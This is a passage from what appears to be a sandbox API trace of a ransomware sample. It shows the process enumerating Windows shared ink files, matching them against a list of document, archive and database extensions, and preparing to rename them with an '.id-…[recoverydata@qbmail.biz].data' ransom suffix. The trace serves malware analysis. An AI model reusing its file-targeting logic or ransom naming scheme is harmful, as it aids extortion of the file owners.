Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.708] lstrlenW (lpString=".1cd") returned 4 [0085.709] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0085.709] lstrlenW (lpString=".jpg") returned 4 [0085.709] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.709] lstrcmpiW (lpString1=".dat", lpString2=".data") returned -1 [0085.709] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0085.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.710] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=46624) returned 1 [0085.710] CloseHandle (hObject=0x184) returned 1 [0085.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0085.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.711] lstrlenW (lpString=".doc") returned 4 [0085.711] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0085.711] lstrlenW (lpString=".docx") returned 5 [0085.711] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0085.711] lstrlenW (lpString=".pdf") returned 4 [0085.711] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0085.711] lstrlenW (lpString=".xls") returned 4 [0085.711] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0085.711] lstrlenW (lpString=".xlsx") returned 5 [0085.711] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0085.711] lstrlenW (lpString=".ppt") returned 4 [0085.711] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0085.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.711] lstrlenW (lpString=".zip") returned 4 [0085.711] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0085.711] lstrlenW (lpString=".rar") returned 4 [0085.711] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0085.711] lstrlenW (lpString=".bz2") returned 4 [0085.712] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0085.712] lstrlenW (lpString=".7z") returned 3 [0085.712] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.712] lstrlenW (lpString=".dbf") returned 4 [0085.712] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.712] lstrlenW (lpString=".1cd") returned 4 [0085.712] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.712] lstrlenW (lpString=".jpg") returned 4 [0085.712] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.712] lstrlenW (lpString=".doc") returned 4 [0085.712] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0085.712] lstrlenW (lpString=".docx") returned 5 [0085.712] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0085.713] lstrlenW (lpString=".pdf") returned 4 [0085.713] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0085.713] lstrlenW (lpString=".xls") returned 4 [0085.713] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0085.713] lstrlenW (lpString=".xlsx") returned 5 [0085.713] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0085.713] lstrlenW (lpString=".ppt") returned 4 [0085.713] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0085.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.713] lstrlenW (lpString=".zip") returned 4 [0085.713] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0085.713] lstrlenW (lpString=".rar") returned 4 [0085.713] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0085.713] lstrlenW (lpString=".bz2") returned 4 [0085.713] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0085.713] lstrlenW (lpString=".7z") returned 3 [0085.720] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0085.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.720] lstrlenW (lpString=".dbf") returned 4 [0085.720] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0085.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.720] lstrlenW (lpString=".1cd") returned 4 [0085.720] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0085.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0085.721] lstrlenW (lpString=".jpg") returned 4 [0085.721] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0085.721] lstrcmpiW (lpString1=".dat", lpString2=".data") returned -1 [0085.721] lstrlenW (lpString="hwrenalm.dat") returned 12 [0085.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0086.482] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=747280) returned 1 [0086.482] CloseHandle (hObject=0x184) returned 1 [0086.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0086.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.483] lstrlenW (lpString=".doc") returned 4 [0086.483] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.483] lstrlenW (lpString=".docx") returned 5 [0086.483] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0086.483] lstrlenW (lpString=".pdf") returned 4 [0086.483] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.483] lstrlenW (lpString=".xls") returned 4 [0086.483] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.483] lstrlenW (lpString=".xlsx") returned 5 [0086.483] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0086.483] lstrlenW (lpString=".ppt") returned 4 [0086.483] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.484] lstrlenW (lpString=".zip") returned 4 [0086.484] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.484] lstrlenW (lpString=".rar") returned 4 [0086.484] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.484] lstrlenW (lpString=".bz2") returned 4 [0086.484] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.484] lstrlenW (lpString=".7z") returned 3 [0086.484] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.484] lstrlenW (lpString=".dbf") returned 4 [0086.484] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.484] lstrlenW (lpString=".1cd") returned 4 [0086.484] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.484] lstrlenW (lpString=".jpg") returned 4 [0086.484] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.484] lstrlenW (lpString=".doc") returned 4 [0086.485] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0086.485] lstrlenW (lpString=".docx") returned 5 [0086.485] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0086.485] lstrlenW (lpString=".pdf") returned 4 [0086.485] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0086.485] lstrlenW (lpString=".xls") returned 4 [0086.485] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0086.485] lstrlenW (lpString=".xlsx") returned 5 [0086.485] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0086.485] lstrlenW (lpString=".ppt") returned 4 [0086.485] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0086.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.485] lstrlenW (lpString=".zip") returned 4 [0086.485] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0086.485] lstrlenW (lpString=".rar") returned 4 [0086.485] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0086.485] lstrlenW (lpString=".bz2") returned 4 [0086.485] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0086.486] lstrlenW (lpString=".7z") returned 3 [0086.486] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0086.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.486] lstrlenW (lpString=".dbf") returned 4 [0086.486] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0086.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.486] lstrlenW (lpString=".1cd") returned 4 [0086.486] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0086.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.486] lstrlenW (lpString=".jpg") returned 4 [0086.486] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0086.531] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.531] lstrlenW (lpString="ipsesp.xml") returned 10 [0086.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0086.532] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=3024) returned 1 [0086.532] CloseHandle (hObject=0x194) returned 1 [0086.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0086.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.533] lstrlenW (lpString=".doc") returned 4 [0086.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.533] lstrlenW (lpString=".docx") returned 5 [0086.533] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0086.533] lstrlenW (lpString=".pdf") returned 4 [0086.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.534] lstrlenW (lpString=".xls") returned 4 [0086.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.534] lstrlenW (lpString=".xlsx") returned 5 [0086.534] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0086.534] lstrlenW (lpString=".ppt") returned 4 [0086.534] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.534] lstrlenW (lpString=".zip") returned 4 [0086.534] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.534] lstrlenW (lpString=".rar") returned 4 [0086.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.534] lstrlenW (lpString=".bz2") returned 4 [0086.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.534] lstrlenW (lpString=".7z") returned 3 [0086.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.535] lstrlenW (lpString=".dbf") returned 4 [0086.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.535] lstrlenW (lpString=".1cd") returned 4 [0086.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.535] lstrlenW (lpString=".jpg") returned 4 [0086.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.535] lstrlenW (lpString=".doc") returned 4 [0086.535] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.536] lstrlenW (lpString=".docx") returned 5 [0086.536] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0086.536] lstrlenW (lpString=".pdf") returned 4 [0086.536] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.536] lstrlenW (lpString=".xls") returned 4 [0086.536] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.536] lstrlenW (lpString=".xlsx") returned 5 [0086.536] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0086.536] lstrlenW (lpString=".ppt") returned 4 [0086.536] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.536] lstrlenW (lpString=".zip") returned 4 [0086.536] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.536] lstrlenW (lpString=".rar") returned 4 [0086.537] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.537] lstrlenW (lpString=".bz2") returned 4 [0086.537] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.537] lstrlenW (lpString=".7z") returned 3 [0086.537] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.537] lstrlenW (lpString=".dbf") returned 4 [0086.537] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.537] lstrlenW (lpString=".1cd") returned 4 [0086.537] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.537] lstrlenW (lpString=".jpg") returned 4 [0086.537] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.538] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.538] lstrlenW (lpString="ipsfra.xml") returned 10 [0086.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0086.539] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2628) returned 1 [0086.539] CloseHandle (hObject=0x194) returned 1 [0086.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0086.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.540] lstrlenW (lpString=".doc") returned 4 [0086.540] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.540] lstrlenW (lpString=".docx") returned 5 [0086.540] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0086.540] lstrlenW (lpString=".pdf") returned 4 [0086.540] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.540] lstrlenW (lpString=".xls") returned 4 [0086.540] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.540] lstrlenW (lpString=".xlsx") returned 5 [0086.540] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0086.541] lstrlenW (lpString=".ppt") returned 4 [0086.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.541] lstrlenW (lpString=".zip") returned 4 [0086.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.541] lstrlenW (lpString=".rar") returned 4 [0086.541] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.541] lstrlenW (lpString=".bz2") returned 4 [0086.541] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.541] lstrlenW (lpString=".7z") returned 3 [0086.541] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.541] lstrlenW (lpString=".dbf") returned 4 [0086.541] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.541] lstrlenW (lpString=".1cd") returned 4 [0086.541] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.541] lstrlenW (lpString=".jpg") returned 4 [0086.541] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.542] lstrlenW (lpString=".doc") returned 4 [0086.542] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.542] lstrlenW (lpString=".docx") returned 5 [0086.542] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0086.542] lstrlenW (lpString=".pdf") returned 4 [0086.542] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.542] lstrlenW (lpString=".xls") returned 4 [0086.542] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.542] lstrlenW (lpString=".xlsx") returned 5 [0086.542] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0086.542] lstrlenW (lpString=".ppt") returned 4 [0086.542] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.542] lstrlenW (lpString=".zip") returned 4 [0086.542] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.542] lstrlenW (lpString=".rar") returned 4 [0086.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.542] lstrlenW (lpString=".bz2") returned 4 [0086.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.542] lstrlenW (lpString=".7z") returned 3 [0086.543] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.543] lstrlenW (lpString=".dbf") returned 4 [0086.543] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.543] lstrlenW (lpString=".1cd") returned 4 [0086.543] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.543] lstrlenW (lpString=".jpg") returned 4 [0086.543] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.543] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0086.543] lstrlenW (lpString="ipshrv.xml") returned 10 [0086.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0086.544] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=2652) returned 1 [0086.544] CloseHandle (hObject=0x194) returned 1 [0086.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0086.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.545] lstrlenW (lpString=".doc") returned 4 [0086.545] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.545] lstrlenW (lpString=".docx") returned 5 [0086.545] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0086.545] lstrlenW (lpString=".pdf") returned 4 [0086.545] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0086.545] lstrlenW (lpString=".xls") returned 4 [0086.545] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0086.545] lstrlenW (lpString=".xlsx") returned 5 [0086.545] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0086.545] lstrlenW (lpString=".ppt") returned 4 [0086.546] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0086.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.546] lstrlenW (lpString=".zip") returned 4 [0086.546] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0086.546] lstrlenW (lpString=".rar") returned 4 [0086.546] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0086.546] lstrlenW (lpString=".bz2") returned 4 [0086.546] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.546] lstrlenW (lpString=".7z") returned 3 [0086.546] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.546] lstrlenW (lpString="C:\\Program Files\\Common 